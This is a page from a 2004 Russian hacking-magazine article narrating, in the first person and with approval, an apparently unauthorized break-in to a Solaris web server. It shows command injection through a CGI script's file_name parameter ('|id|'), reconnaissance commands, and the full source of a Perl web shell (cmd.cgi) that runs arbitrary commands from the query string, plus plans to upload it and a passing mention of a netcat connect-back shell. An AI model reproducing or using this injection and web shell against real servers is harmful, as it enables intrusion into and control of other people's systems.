Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Взлом по-японски

Master-lame-master

Xakep, номер #069, стр. 069-060-2


Даешь командный режим!

Впрочем, даже такая вкусная брешь в сценарии не давала мне особого повода для радости. Чтением файлов многого не добиться. Мучаясь в размышлениях, я решил попробовать подставить команду вместо имени файла. Выполнение команды (пусть даже с выводом в одну строку) могло дать колоссальные возможности. Изменив значение параметра file_name на |id| и обновив страницу, я буквально подпрыгнул от радости! Это сработало! Немного подумав, сценарий показал права текущего юзера. Теперь у меня был web-шелл юзера с уидом www и групповым идентификатором wwwgrp.

Анализируй ЭТО

Настало время приступить к анализу системы. Ведь я еще не знал, в какие директории я имею право писать, какие файлы смотреть и выполнять. Впрочем, с такой оболочкой многого не сделать – скрипт по-прежнему показывал лишь первую строку вывода команды.

Первый запрос был |uname -a|. Эта команда выдала мне сведения об установленной на сервере системе – я начинал вспарывать брюхо старой Солярке 5.6. Особенности этой старушки мы с тобой уже проходили :), поэтому ты должен знать ее уязвимости.

Далее я отдал команду |which perl|, чтобы удостовериться в том, что интерпретатор находится в /usr/bin. К сожалению, скрипт вообще ничего не вывел. Это означало, что либо Perl находится в /usr/local/bin, либо его вообще нет, а staffs.cgi написан на другом языке. Проверив патч к Perl, я узнал, что бинарник действительно расположен в /usr/local/bin.

Действовать по стандартной схеме было бессмысленно – на сервере находился файрвол. У меня было только три варианта дальнейших действий:

1. Удаленно вырубить файрвол.

2. Замутить connback-скрипт и открыть на своем хосте netcat с прослушиванием определенного порта.

3. Довольствоваться управлением через WWW.

Решено было остановиться на третьем пункте, поскольку первые два требовали значительных навыков в анализе и офигительного везения. Ни тем ни другим, к сожалению, я похвастаться не мог, поэтому решил залить на сервер самопальный скрипт, который должен был полноценно выполнять команды. Для осуществления этой элементарной задачи нужно скачать примерно такой самопальный скрипт:

Код cmd.cgi

#!/usr/local/bin/perl

print "Content-type: text/html\n\n";

$cmd=$ENV{QUERY_STRING};

$cmd=~s/%20/ /g;

$cmd=`$cmd`;

print "<pre> $cmd<\/pre> \n";

Подобный сценарий позволял выполнить практически любую команду с правами www. Отправив запрос |ls –lad|, я узнал, что залить сценарий можно прямо в WWW-каталог (юзер www имел полные права на чтение, запись и выполнение файлов в этом каталоге). Только вот осуществить задуманное мне не удалось – оказалось, что скрипт staffs.cgi не выполняет команды с символом перенаправления потока (> ). Ты, наверное, догадался, что я пытался намутить ftp-сценарий, а затем передать его /usr/bin/ftp. К сожалению, и wget’а на сервере не оказалось, поэтому ситуация выглядела безнадежной.

Назад на стр. 069-060-1  Содержание  Вперед на стр. 069-060-3